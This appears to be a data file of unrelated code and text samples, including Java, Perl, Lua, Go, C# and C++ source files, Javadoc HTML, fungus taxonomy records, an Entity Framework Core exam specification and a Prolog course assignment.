text:
require("data/scripts/events/unit_dynamic")

UnitPlant = class(UnitDynamic)

function UnitPlant:die(unit)
	unit:Deleted(true)
end

redpajama_set_name: RedPajamaGithub


text:
SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Hedwigia, Beibl. 1: 116 (1857)

#### Original name
Malinvernia anserina Rabenh., 1857

### Remarks
null


text:
"""Customize generated code here.

Follow our quickstart for examples: https://aka.ms/azsdk/python/dpcodegen/python/customize
"""
from typing import List

__all__: List[str] = []  # Add all objects you want publicly available to users at this package level

def patch_sdk():
    """Do not remove from this file.

    `patch_sdk` is a last resort escape hatch that allows you to do customizations
    you can't accomplish using the techniques described in
    https://aka.ms/azsdk/python/dpcodegen/python/customize
    """


text:
package org.sakaiproject.api.app.help;

/**
 * @author Jarrod Lannan
 * @version $Id: RestConfiguration.java 105079 2012-02-24 23:08:11Z ottenhoff@longsight.com $
 *
 */
public interface RestConfiguration
{
  /**
   * get organization
   * @return organization
   */
  public String getOrganization();

  /**
   * set organization
   * @param organization
   */
  public void setOrganization(String organization);

  /**
   * get REST credentials
   * @return REST credentails
   */
  public String getRestCredentials();

  /**
   * set REST credentials
   * @param credentials
   */
  public void setRestCredentials(String credentials);

  /**
   * get REST URL
   * @return REST URL
   */
  public String getRestUrl();

  /**
   * set REST URL
   * @param url
   */
  public void setRestUrl(String url);

  /**
   * get REST domain
   * @return REST domain
   */
  public String getRestDomain();

  /**
   * set REST domain
   * @param domain
   */
  public void setRestDomain(String domain);

  /**
   * get cache interval
   * @return cache interval
   */
  public long getCacheInterval();

  /**
   * set cache interval
   * @param interval
   */
  public void setCacheInterval(long interval);

  /**
   * get REST URL with domain
   * @return a String of the URL
   */
  public String getRestUrlInDomain();

  /**
   * gets the REST URL for corpus xml document
   * @return REST corpus URL as String
   */
  public String getRestCorpusUrl();

  /**
   * get corpus document (xml containing all available docs in domain)
   * @return a String containing the corpus document
   */
  public String getCorpusDocument();

  /**
   * upon initialization of the help tool this method will get the resource name out of the xml
   * @param xml
   * @return name of document
   */
  public String getResourceNameFromCorpusDoc(String xml);

}


text:
use v5.14;
use warnings;

package Pantry::App::Command::strip;
# ABSTRACT: Implements pantry strip subcommand
our $VERSION = '0.012'; # VERSION

use Pantry::App -command;
use autodie;

use namespace::clean;

sub abstract {
  return 'Strip recipes or attributes from a node or role'
}

sub command_type {
  return 'TARGET';
}

sub options {
  my ($self) = @_;
  return ($self->data_options, $self->selector_options);
}

my %strippers = (
  node => {
    default => 'delete_attribute',
    override => undef,
  },
  role => {
    default => 'delete_default_attribute',
    override => 'delete_override_attribute',
  },
  environment => {
    default => 'delete_default_attribute',
    override => 'delete_override_attribute',
  },
  bag => {
    default => 'delete_attribute',
    override => undef,
  },
);

sub valid_types {
  return keys %strippers;
}

for my $t ( keys %strippers ) {
  no strict 'refs';
  *{"_strip_$t"} = sub {
    my ($self, $opt, $name) = @_;
    $self->_strip_obj($opt, $t, $name);
  };
}

sub _strip_obj {
  my ($self, $opt, $type, $name) = @_;

  my $options;
  $options->{env} = $opt->{env} if $opt->{env};
  my $obj = $self->_check_name($type, $name, $options);

  if ( $type eq 'node' ) {
    $self->_delete_runlist($obj, $opt)
  }
  elsif ( $type eq 'role' ) {
    if ( $options->{env} ) {
      $self->_delete_env_runlist($obj, $opt)
    }
    else {
      $self->_delete_runlist($obj, $opt)
    }
  }
  else {
    # nothing else has run lists
  }

  for my $k ( sort keys %{$strippers{$type}} ) {
    if ( my $method = $strippers{$type}{$k} ) {
      $self->_delete_attributes($obj, $opt, $k, $method);
    }
    elsif ( $opt->{$k} ) {
      $k = ucfirst $k;
      warn "$k attributes do not apply to $type objects.  Skipping them.\n";
    }
  }

  $obj->save;
  return;
}

sub _delete_runlist{
  my ($self, $obj, $opt) = @_;
  if ($opt->{role}) {
    $obj->remove_from_run_list(map { "role[$_]" } @{$opt->{role}});
  }
  if ($opt->{recipe}) {
    $obj->remove_from_run_list(map { "recipe[$_]" } @{$opt->{recipe}});
  }
  return;
}

sub _delete_env_runlist{
  my ($self, $obj, $opt) = @_;
  if ($opt->{role}) {
    $obj->remove_from_env_run_list($opt->{env}, [map { "role[$_]" } @{$opt->{role}}]);
  }
  if ($opt->{recipe}) {
    $obj->remove_from_env_run_list($opt->{env}, [map { "recipe[$_]" } @{$opt->{recipe}}]);
  }
  my $runlist = $obj->get_env_run_list($opt->{env});
  if ( $runlist && $runlist->is_empty ){
    $obj->delete_env_run_list($opt->{env});
  }
  return;
}

sub _delete_attributes {
  my ($self, $obj, $opt, $which, $method) = @_;
  if ($opt->{$which}) {
    for my $attr ( @{ $opt->{$which} } ) {
      my ($key, $value) = split /=/, $attr, 2; # split on first '='
      # if they gave a value, we ignore it
      $obj->$method($key);
    }
  }
  return;
}

1;

# vim: ts=2 sts=2 sw=2 et:

__END__

=pod

=head1 NAME

Pantry::App::Command::strip - Implements pantry strip subcommand

=head1 VERSION

version 0.012

=head1 SYNOPSIS

  $ pantry strip node foo.example.com --recipe nginx --default nginx.port

=head1 DESCRIPTION

This class implements the C<pantry strip> command, which is used to strip recipes or attributes
from a node.

=for Pod::Coverage options validate

=head1 AUTHOR

David Golden <dagolden@cpan.org>

=head1 COPYRIGHT AND LICENSE

This software is Copyright (c) 2011 by David Golden.

This is free software, licensed under:

  The Apache License, Version 2.0, January 2004

=cut


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<TITLE>
Class Hierarchy
</TITLE>

<LINK REL ="stylesheet" TYPE="text/css" HREF="stylesheet.css" TITLE="Style">

      Overview
      Package
      Class
    Tree
      Deprecated
      Index
      Help

 PREV
 NEXT

  FRAMES
 NO FRAMES

  All Classes

Hierarchy For All Packages

Package Hierarchies:
javazoom.jl.converter, javazoom.jl.decoder, javazoom.jl.player, javazoom.jl.player.advanced

Class Hierarchy

class java.lang.Object

class javazoom.jl.player.advanced.AdvancedPlayer
class javazoom.jl.player.AudioDeviceBase (implements javazoom.jl.player.AudioDevice)

class javazoom.jl.player.JavaSoundAudioDevice
class javazoom.jl.player.NullAudioDevice

class javazoom.jl.player.AudioDeviceFactory

class javazoom.jl.player.FactoryRegistry
class javazoom.jl.player.JavaSoundAudioDeviceFactory

class javazoom.jl.decoder.Bitstream (implements javazoom.jl.decoder.BitstreamErrors)

class java.awt.Component (implements java.awt.image.ImageObserver, java.awt.MenuContainer, java.io.Serializable)

class java.awt.Container

class java.awt.Panel (implements javax.accessibility.Accessible)

class java.applet.Applet

class javazoom.jl.player.PlayerApplet (implements java.lang.Runnable)

class javazoom.jl.converter.Converter
class javazoom.jl.converter.Converter.PrintWriterProgressListener (implements javazoom.jl.converter.Converter.ProgressListener)

class javazoom.jl.decoder.Crc16
class javazoom.jl.decoder.Decoder (implements javazoom.jl.decoder.DecoderErrors)

class javazoom.jl.decoder.Decoder.Params (implements java.lang.Cloneable)

class javazoom.jl.decoder.Equalizer
class javazoom.jl.decoder.Equalizer.EQFunction
class javazoom.jl.decoder.Header
class javazoom.jl.decoder.InputStreamSource (implements javazoom.jl.decoder.Source)

class javazoom.jl.decoder.JavaLayerUtils
class javazoom.jl.player.advanced.jlap
class javazoom.jl.converter.jlc
class javazoom.jl.player.jlp
class javazoom.jl.decoder.Manager
class javazoom.jl.decoder.Obuffer

class javazoom.jl.decoder.SampleBuffer
class javazoom.jl.converter.WaveFileObuffer

class javazoom.jl.decoder.OutputChannels
class javazoom.jl.player.advanced.PlaybackEvent
class javazoom.jl.player.advanced.PlaybackListener

class javazoom.jl.player.advanced.jlap.InfoListener

class javazoom.jl.player.Player
class javazoom.jl.converter.RiffFile

class javazoom.jl.converter.WaveFile

class java.lang.Throwable (implements java.io.Serializable)

class java.lang.Error

class javazoom.jl.decoder.JavaLayerError

class java.lang.Exception

class javazoom.jl.decoder.JavaLayerException

class javazoom.jl.decoder.BitstreamException (implements javazoom.jl.decoder.BitstreamErrors)

class javazoom.jl.decoder.DecoderException (implements javazoom.jl.decoder.DecoderErrors)

class javazoom.jl.converter.WaveFile.WaveFileSample

Interface Hierarchy

interface javazoom.jl.player.AudioDevice
interface javazoom.jl.decoder.Control
interface javazoom.jl.converter.Converter.ProgressListener
interface javazoom.jl.decoder.FrameDecoder
interface javazoom.jl.decoder.JavaLayerErrors

interface javazoom.jl.decoder.BitstreamErrors
interface javazoom.jl.decoder.DecoderErrors

interface javazoom.jl.decoder.JavaLayerHook
interface javazoom.jl.decoder.Source

      Overview
      Package
      Class
    Tree
      Deprecated
      Index
      Help

 PREV
 NEXT

  FRAMES
 NO FRAMES

  All Classes

JavaZOOM 1999-2005


text:
module org.apache.maven.plugins.jmod.it.first {
  requires java.base;
  exports myproject;
}


text:
package org.apache.james.fetchmail;

import javax.mail.Session;

import org.apache.commons.configuration.ConfigurationException;

public class DynamicAccount extends Account {

    /**
     * Constructor for DynamicAccount.
     *
     * @param sequenceNumber
     * @param parsedConfiguration
     * @param user
     * @param password
     * @param recipient
     * @param ignoreRecipientHeader
     * @param session
     * @throws ConfigurationException
     */
    private DynamicAccount(int sequenceNumber, ParsedConfiguration parsedConfiguration, String user, String password, String recipient, boolean ignoreRecipientHeader, String customRecipientHeader, Session session) throws ConfigurationException {
        super(sequenceNumber, parsedConfiguration, user, password, recipient, ignoreRecipientHeader, customRecipientHeader, session);
    }

    /**
     * Constructor for DynamicAccount.
     *
     * @param sequenceNumber
     * @param parsedConfiguration
     * @param userName
     * @param userPrefix
     * @param userSuffix
     * @param password
     * @param recipientPrefix
     * @param recipientSuffix
     * @param ignoreRecipientHeader
     * @param session
     * @throws ConfigurationException
     */
    public DynamicAccount(int sequenceNumber, ParsedConfiguration parsedConfiguration, String userName, String userPrefix, String userSuffix, String password, String recipientPrefix, String recipientSuffix, boolean ignoreRecipientHeader, String customRecipientHeader, Session session)
            throws ConfigurationException {
        this(sequenceNumber, parsedConfiguration, null, password, null, ignoreRecipientHeader, customRecipientHeader, session);

        StringBuffer userBuffer = new StringBuffer(userPrefix);
        userBuffer.append(userName);
        userBuffer.append(userSuffix);
        setUser(userBuffer.toString());

        StringBuffer recipientBuffer = new StringBuffer(recipientPrefix);
        recipientBuffer.append(userName);
        recipientBuffer.append(recipientSuffix);
        setRecipient(recipientBuffer.toString());
    }
}


text:
package net.loomchild.maligna.matrix;

/**
 * Represents a two-dimensional matrix that contains all the elements.
 * This matrix use standard two-dimensional array and occupies
 * row number * column number memory,
 * which can be quite memory inefficient for sparse matrices.
 * On the other hand element access should be fast with this matrix.
 *
 * @author loomchild
 */
public class FullMatrix<T> implements Matrix<T> {

	private Object[][] dataArray;

	private int width;

	private int height;

	/**
	 * Creates a matrix.
	 * @param width matrix width (number of columns), >= 1.
	 * @param height matrix height (number of rows), >= 1.
	 */
	public FullMatrix(int width, int height) {
		this.width = width;
		this.height = height;
		this.dataArray = new Object[width][height];
	}

	public int getWidth() {
		return width;
	}

	public int getHeight() {
		return height;
	}

	public int getSize() {
		return width * height;
	}

	@SuppressWarnings("unchecked")
	public T get(int x, int y) {
		return (T)dataArray[x][y];
	}

	public void set(int x, int y, T data) {
		dataArray[x][y] = data;
	}

	public MatrixIterator<T> getIterator() {
		return new FullMatrixIterator<T>(this);
	}

}


text:
package org.kie.workbench.common.dmn.api.definition.model;

import org.junit.Before;
import org.junit.Test;
import org.kie.workbench.common.dmn.api.property.dmn.Description;
import org.kie.workbench.common.dmn.api.property.dmn.Id;
import org.kie.workbench.common.dmn.api.property.dmn.Name;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;

public class ImportTest {

    private Import import1;

    private Import import2;

    @Before
    public void setup() {
        import1 = new Import();
        import2 = new Import();
        import1.setId(new Id("123"));
        import2.setId(new Id("123"));
    }

    @Test
    public void testNotEqualsId() {

        import1.setId(new Id("123"));
        import2.setId(new Id("456"));

        assertNotEquals(import1, import2);
    }

    @Test
    public void testEqualsId() {
        assertEquals(import1, import2);
    }

    @Test
    public void testNotEqualsDescription() {

        import1.setDescription(new Description("desc1"));
        import2.setDescription(new Description("desc2"));

        assertNotEquals(import1, import2);
    }

    @Test
    public void testEqualsDescription() {

        import1.setDescription(new Description("desc"));
        import2.setDescription(new Description("desc"));

        assertEquals(import1, import2);
    }

    @Test
    public void testEqualsName() {

        import1.setName(new Name("name"));
        import2.setName(new Name("name"));

        assertEquals(import1, import2);
    }

    @Test
    public void testNotEqualsName() {

        import1.setName(new Name("name1"));
        import2.setName(new Name("name2"));

        assertNotEquals(import1, import2);
    }

    @Test
    public void testHashCodeWithTheSameId() {

        import1.setId(new Id("123"));
        import2.setId(new Id("123"));

        assertEquals(import1.hashCode(), import2.hashCode());
    }

    @Test
    public void testHashCodeWithTheADifferentId() {

        import1.setId(new Id("123"));
        import2.setId(new Id("456"));

        assertNotEquals(import1.hashCode(), import2.hashCode());
    }

    @Test
    public void testHashCodeWithTheSameName() {

        import1.setName(new Name("123"));
        import2.setName(new Name("123"));

        assertEquals(import1.hashCode(), import2.hashCode());
    }

    @Test
    public void testHashCodeWithTheADifferentName() {

        import1.setName(new Name("123"));
        import2.setName(new Name("456"));

        assertNotEquals(import1.hashCode(), import2.hashCode());
    }

    @Test
    public void testHashCodeWithTheSameDescription() {

        import1.setDescription(new Description("desc"));
        import2.setDescription(new Description("desc"));

        assertEquals(import1.hashCode(), import2.hashCode());
    }

    @Test
    public void testHashCodeWithTheADifferentDescription() {

        import1.setDescription(new Description("desc1"));
        import2.setDescription(new Description("desc2"));

        assertNotEquals(import1.hashCode(), import2.hashCode());
    }
}


text:
namespace contextual_search {

// Interface that the Contextual Search Renderer uses to call back to
// the browser to handle its JavaScript API.
class ContextualSearchJsApiHandler {
 public:
  ContextualSearchJsApiHandler() {}
  virtual ~ContextualSearchJsApiHandler() {}

  // Set the caption in the Contextual Search Bar, and indicate whether
  // the caption provides an answer (such as an actual definition), rather than
  // just general notification of what kind of answer may be available.
  virtual void SetCaption(std::string caption, bool does_answer) = 0;

 private:
  DISALLOW_COPY_AND_ASSIGN(ContextualSearchJsApiHandler);
};

}  // namespace contextual_search

#endif  // COMPONENTS_CONTEXTUAL_SEARCH_BROWSER_CONTEXTUAL_SEARCH_JS_API_HANDLER_H_


text:
Entity Framework Core: Exam Preparation 1

Exam problems for the "Databases Advanced – EF Core" course @ Software University. Submit your solutions in the SoftUni judge system (delete all "bin"/"obj" folders).

Your task is to create a database application using Entity Framework Core using the Code First approach. Design the domain models and methods for manipulating the data, as described below.

Instagraph

Some of you may know about Instagraph, some of you may not. For those who don’t, Instagraph is the backup database of Instagram. And guess what, you were chosen to work on it. This time your task is to create a whole Entity Framework Core application that will work with the database.

Project Skeleton Overview

You are given a project skeleton, which includes the following items:

App – contains the Startup class, which is the entry point of the application. Also contains an AutoMapper profile (InstagraphProfile), which you can configure if you choose to use AutoMapper in your app.

Data – contains the InstagraphContext class and the connection string

Models – contains the entity classes

DataProcessor – contains the Serializer and Deserializer classes, which are used for importing and exporting data

Problem 1. Model Definition (50 pts)

Every user has a profile picture, many posts and many comments on posts. Many users can have the same profile picture. In addition, a user can follow many other users and be followed by many other users. Any picture can be a part of many posts. Each post is created by a single user and is about a certain picture. A post can have many comments.

Picture

Id – an integer, Primary Key

Path – a string

Size – a decimal

Users – a Collection of type User

Posts – a Collection of type Post

User

Id – an integer, Primary Key

Username – a string with max length 30, Unique

Password – a string with max length 20

ProfilePictureId – an integer

ProfilePicture – a Picture

Followers – a Collection of type UserFollower

UsersFollowing – a Collection of type UserFollower

Posts – a Collection of type Post

Comments – a Collection of type Comment

Post

Id – an integer, Primary Key

Caption – a string

UserId – an integer

User – a User

PictureId – an integer

Picture – a Picture

Comments – a Collection of type Comment

Comment

Id – an integer, Primary Key

Content – a string with max length 250

UserId – an integer

User – a User

PostId – an integer

Post – a Post

UserFollower

UserId – an integer, Primary Key

User – a User

FollowerId – an integer, Primary Key

Follower – a User

All data is REQUIRED, unless it is explicitly said that null is allowed.

Problem 2. Data Import (35pts)

For the functionality of the application, you need to create several methods that manipulate the database. The project skeleton already provides you with these methods, inside the Instagraph.DataProcessor project inside your solution. Use Data Transfer Objects as needed.

Use the provided JSON and XML files to populate the database with data. Import all the information from those files into the database.

You are not allowed to modify the provided JSON and XML files.

Make sure all fields have been entered and are valid, otherwise the import entity data should NOT be considered valid.

You will also have to print a simple message indicating if the data has been imported successfully or there was an error.

In case of SUCCESS the message format is:

Picture: "Successfully imported Picture {picturePath}."

User: "Successfully imported User {username}."

Post: "Successfully imported Post {postCaption}.”.

Comment: "Successfully imported Comment {commentContent}."

User - Follower: "Successfully imported Follower {followerUsername} to User {userUsername}."

In case of ERROR you always print "Error: Invalid data.".

JSON Import (15 pts)

Importing Pictures

Using the file pictures.json, import the data from that file into the database.

Pictures

A picture is valid when it has a unique path, which is not an empty string and has a size, which is bigger than 0.

Example

pictures.json

[

  {

    "Path" : "src/folders/resources/images/profile/blocked/bmp/kjOJjKpKh4.bmp",

    "Size" : 32495.57

  },

  {

    "Path" : "src/folders/resources/images/post/timeline/png/27kLXVm22Q.png",

    "Size" : 44273.27

  },

  {

    "Path" : "src/folders/resources/images/profile/browsed/bmp/Q52q15Zefa.bmp"

  },

  …

]

Output

Successfully imported Picture src/folders/resources/images/profile/blocked/bmp/kjOJjKpKh4.bmp.

Successfully imported Picture src/folders/resources/images/post/timeline/png/27kLXVm22Q.png.

Error: Invalid data.

…

Users

A user must have a valid profile picture, username and password.

Example

users.json

[

 {

   "Username" : "UnderSinduxrein",

   "Password" : "4l8nYGTKMW",

   "ProfilePicture" : "src/folders/resources/images/post/formed/digi/6YLvj97k03.digi"

 },

 {

   "Username" : "BlaAntigadsa",

   "Password" : ":Q5wjT4[e"

 },

 {

   "Password" : "El[MwhxY)J",

   "ProfilePicture" : "src/folders/resources/images/profile/blocked/jpg/pgfMG75k4e.jpg"

 },

 …

]

Output

Successfully imported User UnderSinduxrein.

Error: Invalid data.

Error: Invalid data.

…

Followers

To make someone a follower of another user, both of them must exist in the database.

Example

users_followers.json

[

  {

    "User" : "BlaImmagiIana",

    "Follower" : "ScoreSinduxIana"

  },

  {

    "User" : "BlaSinduxrein",

    "Follower" : "RoundInspecindi"

  },

  {

    "User" : "AryaNinehow",

    "Follower" : "DarkImmagidsa"

  }, …

]

Output

Successfully imported Follower ScoreSinduxIana to User BlaImmagiIana.

Successfully imported Follower RoundInspecindi to User BlaSinduxrein.

Successfully imported Follower DarkImmagidsa to User AryaNinehow.

…

XML Import (5 pts)

The other 2 tables must be populated with data in XML format.

Posts

A post should only be inserted if the user and picture already exist in the database.

Example

posts.xml

<?xml version="1.0" encoding="utf-8"?>

<posts>

  <post>

    <caption>#everything #swag #sunglasses #smiley #justdoit #ocean</caption>

    <user>ScoreAntigarein</user>

    <picture>src/folders/resources/images/story/blocked/png/1S2el3wJ3v.png</picture>

  </post>

  <post>

    <caption>#cool #justdoit #sky #ocean #reason #gram #faith #hope</caption>

    <user>HighAsmahow</user>

    <picture>src/folders/resources/images/profile/blocked/jpg/pgfMG75k4e.jpg</picture>

  </post>

  …

</posts>

Output

Successfully imported Post #everything #swag #sunglasses #smiley #justdoit #ocean.

Successfully imported Post #cool #justdoit #sky #ocean #reason #gram #faith #hope.

…

Comments

Comments should only be added for existing users and posts.

Example

comments.xml

<?xml version="1.0" encoding="utf-8"?>

<comments>

  <comment>

    <content>Wow! Wow, epic!! How?</content>

    <user>RoundAntigaBel</user>

    <post id="22" />

  </comment>

  <comment>

    <content>This is just... this is the best! Why?</content>

    <user>BlaImmagiIana</user>

    <post id="50" />

  </comment>

  …

</comments>

Output

Successfully imported Comment Wow! Wow, epic!! How?.

Error: Invalid data.

…

Problem 3. Data Export (15pts)

For the functionality of the application, you need to create several methods that manipulate the database. The project skeleton already provides you with these methods, inside the Instagraph.DataProcessor project inside your solution. Use Data Transfer Objects as needed.

JSON Export (5 pts)

Uncommented Posts

Export all posts which do NOT have ANY comments. Extract everything and order it by id in ascending order.

Extract the Id, Path as "Picture" and the poster’s Username as "User".

Example

UncommentedPosts.json

[

  {

    "Id": 1,

    "Picture": "src/folders/resources/images/story/blocked/png/1S2el3wJ3v.png",

    "User": "ScoreAntigarein"

  },

  {

    "Id": 4,

    "Picture": "src/folders/resources/images/story/blocked/png/1S2el3wJ3v.png",

    "User": "DarkImmagidsa"

  },

  …

]

Popular users

Extract all users who have posts, commented by their followers.

Extract the user’s username as “user”, and the user’s count of followers as “followers”.

Order the data by id in ascending order.

Example

PopularUsers.json

[

  {

    "Username": "ZendArmyhow",

    "Followers": 7

  }

]

XML Export (5 pts)

Comments on Posts

Extract all users. For each user, extract the post which has the most comments.

Extract the user’s username as "Username" and the count of comments on the top post as
 "MostComments".

If a person has no posts, set his comments to 0.

Order the data in descending order by MostComments, then by Username ascending.

Example

CommentsOnPosts.xml

<users>

  <user>

    <Username>ScoreAntigarein</Username>

    <MostComments>3</MostComments>

  </user>

  <user>

    <Username>AryaDenotehow</Username>

    <MostComments>2</MostComments>

  </user>

  <user>

    <Username>HighAsmahow</Username>

    <MostComments>2</MostComments>

  </user>

  …

</users>


text:
package actions

import "github.com/dave/vecty/examples/todomvc/store/model"

type ReplaceItems struct {
	Items []*model.Item
}

type AddItem struct {
	Title string
}

type DestroyItem struct {
	Index int
}

type SetTitle struct {
	Index int
	Title string
}

type SetCompleted struct {
	Index     int
	Completed bool
}

type SetAllCompleted struct {
	Completed bool
}

type ClearCompleted struct{}

type SetFilter struct {
	Filter model.FilterState
}


text:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Security;

namespace Carbonfrost.Commons.Shared.Runtime {

    class AssemblyBuffer : Buffer<Assembly> {

        private AssemblyBuffer() : base(EnumerateAppDomain()) {
        }

        public static readonly AssemblyBuffer Instance
            = new AssemblyBuffer();

        private static void AddReferencedAssemblies(Assembly assembly,
                                                    HashSet<AssemblyName> pendingAssemblyNames) {
            foreach (AssemblyName m in assembly.GetReferencedAssemblies()) {
                pendingAssemblyNames.Add(m);
            }
        }

        static void AddProbedAssemblies(HashSet<AssemblyName> pendingAssemblyNames) {
            var probe = AssemblyProbe.CreateProbe();

            Traceables.ProbingForAssemblies(probe.GetType());

            foreach (var t in probe.EnumerateAssemblyFiles()) {

                // TODO Consider error handling and tracing assembly names

                try {
                    var asm = AssemblyName.GetAssemblyName(t);
                    pendingAssemblyNames.Add(asm);

                } catch (FileNotFoundException) {
                } catch (FileLoadException) {
                } catch (SecurityException) {
                } catch (BadImageFormatException) {
                }
            }
        }

        private static IEnumerable<Assembly> EnumerateAppDomain() {
            var comparer = new AssemblyNameComparer();
            var assemblies = new Dictionary<AssemblyName, Assembly>(comparer);
            var pendingAssemblyNames = new HashSet<AssemblyName>(comparer);
            bool probed = false;

            var domain = AppDomain.CurrentDomain;
            domain.AssemblyLoad += (_, args) => {
                pendingAssemblyNames.Add(args.LoadedAssembly.GetName());
                AddReferencedAssemblies(args.LoadedAssembly, pendingAssemblyNames);
            };

            foreach (var assembly in domain.GetAssemblies()) {
                AddReferencedAssemblies(assembly, pendingAssemblyNames);

                if (!assemblies.ContainsKey(assembly.GetName())) {
                    assemblies.Add(assembly.GetName(), assembly);
                    yield return assembly;
                }
            }

            while (pendingAssemblyNames.Count > 0) {
                AssemblyName any = pendingAssemblyNames.First();
                pendingAssemblyNames.Remove(any);

                if (pendingAssemblyNames.Count == 0 && !probed) {
                    probed = true;
                    AddProbedAssemblies(pendingAssemblyNames);
                }

                if (assemblies.ContainsKey(any))
                    continue;

                Exception error = null;

                Assembly assembly = null;
                try {
                    assembly = domain.Load(any);
                    AddReferencedAssemblies(assembly, pendingAssemblyNames);

                } catch (FileNotFoundException ex) {
                    error = ex;
                } catch (FileLoadException ex) {
                    error = ex;
                } catch (BadImageFormatException ex) {
                    error = ex;
                }

                if (error != null) {
                    IStatusAppender sa = StatusAppender.ForType(typeof(AssemblyInfo));
                    sa.AppendError(error);

                } else {
                    assemblies.Add(any, assembly);
                    yield return assembly;
                }
            }
        }

        sealed class AssemblyNameComparer : IEqualityComparer<AssemblyName> {

            public bool Equals(AssemblyName x, AssemblyName y) {
                return x.FullName.Equals(y.FullName);
            }

            public int GetHashCode(AssemblyName obj) {
                return obj.FullName.GetHashCode();
            }
        }
    }
}


text:
Assignment 3 for CMPUT 325. Series of function definitions to learn Prolog.

##Assignment 3

*Due March 23, 2015 at 11:55pm.*

This assignment is worth 15 assignment marks.  Submit your work in one file under the name (your ID#).pl.

In this assignment, you can use any built-in predicates. Your programs should not get into infinite loop for the specified invocation patterns.  An infinite loop refers to (1) the execution of a query w.r.t. your program is non-terminating (that the execution runs out of memory is not considered a termination), or (2) it gives you an infinite number of answers when there are in fact only finitely many.

Since the use of cut will not be introduced formally in the early lectures (but certainly before this assignment is due), you may choose to solve a question in this assignment in the following way: first, write a program for it without worrying about the no-infinite-loop requirement; in this case, you want to make sure the first answer generated by Prolog is correct. Then, add the cut into your program later and at the same time possibly remove some conditions in a clause's body that give you the same effect.  Once you understand the cut, this work is straightforward.

As a convention in Prolog's documentation, when we specify a predicate, a parameter headed with + means it is an input parameter--it's bound when the predicate is called, and a parameter headed with - is an output parameter--it's a variable when the predicate is called and bound to a value when the predicate is proved. A parameter headed by ? means it can be either input or output parameter. Your solutions will be tested according to this specification.

###1 (1 mark)

Define a predicate
```
setDifference(+S1,+S2,-S3)
```
where S1 and S2 are lists of atoms, and S3 is a list of those atoms that are in S1 but not in S2.  E.g.
```
?- setDifference([a,b,f,c,d],[e,b,a,c],S).
S=[f,d]
```
where the order of the resulting elements is unimportant. Assume S1 and S2 do not contain duplicated elements.

### 2  (1 mark)

Define a predicate
```
swap(+L, -R)
```
where L is a list of atoms or numbers and R is obtained from L such that the 1st two elements in L are swapped positions, so are the next two, and so on. If the number of elements in L is odd, then the last element is left as is. E.g,

```
?- swap([a,1,b,2], W).
W = [1,a,2,b].

?- swap([a,1,b], W).
W = [1,a,b].
```
Note that L may be empty, in which case R should be empty too.

### 3  (3 mark)

Define two predicates in this question. First, define
```
rmDup(+L, -R)
```
where L is a list of atoms and R is the same as L except duplicated elements are removed.

```
?- rmDup([a,b,c,c,a,d,a], W).

W = [a,b,c,d].
```

The order in the resulting list is unimportant.

Then, define
```
rmAllDup(+L, -R)
```
where L is a possibly nested list, and R is the same as L except all duplicated elements are removed.

```
?- rmAllDup([a,[b,c],c,[a,d,a]], W).

W = [a,[b,c],[d]]

?- rmAllDup([a,[b,c],c,[a,c,e,[a]]], W).

W = [a,[b,c],[e,[]]]
```

It is required that the structure of the given list be preserved, i.e., the first occurrence of an atom is kept and any repeated atom, wherever it may be, is removed and structure is not altered

### 4  (3 marks)

Define a predicate
```
generate(+L,+Choice, -N)
```
where L is a possibly nested list of numbers and, if Choice is smallest, N is the smallest among them and if Choice is largest, N is the largest among them. We assume L is non-empty. E.g.

```
 ?- generate([3,4,[5,2],[1,7,2]],smallest,N).

N=1.

?- generate([3,4,[5,2],[1,7,2]],largest,N).

N=7.
```

### 5 (3 marks)

Define a predicate
```
countAll(+L,-N)
```
such that given a possibly nestedlist L of atoms, the number of occurrences of every atom is counted. Thus, N should be a list of pairs [a,n] representing that atom a occurs in L n times. These pairs should appear in a non-increasing order. E.g.
```
?- countAll([a,b,[e,c],c,[b]],N).

N = [[b,2],[c 2],[a,1],[e,1]]
```
For atoms with the same account, the order is unimportant.

Hint: First, get the occurrences counted, and then define a predicate that does the sorting. You can adopt any sorting algorithm, and you are allowed to adopt any Prolog code for sorting that you find online or in any book or tutorial. In this case, please acknowledge the source.

### 6  (4 Marks)

The question is about string conversion. Define a predicate
```
convert(+Term,-Result)
```
with the following specification.

Term is a list (possibly empty) of single letters representing a string with the convention:

* e represents an empty space
* q represents a single quote

Functionality:

Given Term, Result should hold the same Term except that

* anything between two matching q's are not changed;
* any e's outside of a pair of matching q's are removed;
* any letter outside a pair of matching q's is changed to letter c;
* an unmatched q will be left as is.

Definition of matching q's:

Any string with an odd number of occurrences of q has the last occurrence of q unmatched; all the preceding ones are matched as: the first and second form a pair, the 3rd and the 4th form the next pair, and so on.

Examples:

```
?- convert([e,e,a,e,b,e],R)
R = [c,c] ?;
no

?- convert([e,q,a,b,e,e],R).
R = [q,c,c]?;
no

?- convert([e,a,e,e],R).
R = [c]?;
no

?- convert([e,q,a,e,b,q,e,a,e],R).
R = [q,a,e,b,q,c]? ;
no

?- convert([a,q,e,l,q,r,e,q,b,e],R).
R = [c,q,e,l,q,c,q,c]? ;
no

?- convert([q,e,q,b,q,e,l,q,a,e],R).
R = [q,e,q,c,q,e,l,q,c] ? ;
no
```

In this question, you can use the list library of Sicstus Prolog by declaring

```
:- use_module(library(lists)).
```

Hints:

* Remove spaces and change any non-space char to letter c before hitting the first q;
* After hitting a single quote, find the next quote; if fail (thus dangling quote), change all non-space char's to letter c and remove all spaces;
* Otherwise, the next quote is found, then copy the string between the matching quotes as part of the resulting string, and continue with the rest of the string.

To locate a symbol, say q, in a list L, you can use
```
append(L1,[q|L2],L)
```
If q occurs in L multiple times, by backtracking you will get all possible L1 and L2 such that, with an occurrence of q in front of L2, the appending of the two yields L. To understand this, try it before you adopt it, e.g.,
```
?- append(L1,[q|L2], [a,b,q,r,q,q,a]).

L1 = [a,b],

L2 = [r,q,q,a] ? ;

L1 = [a,b,q,r],

L2 = [q,a] ? ;

L1 = [a,b,q,r,q],

L2 = [a] ? ;
```


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
C. r. Congr. natn. Socs. sav. Paris, sect. sci. , fasc. 1. (Paleobotanique) 105: 263 (1980)

#### Original name
Graammopomopiosporaceae Locq.

### Remarks
null


text:
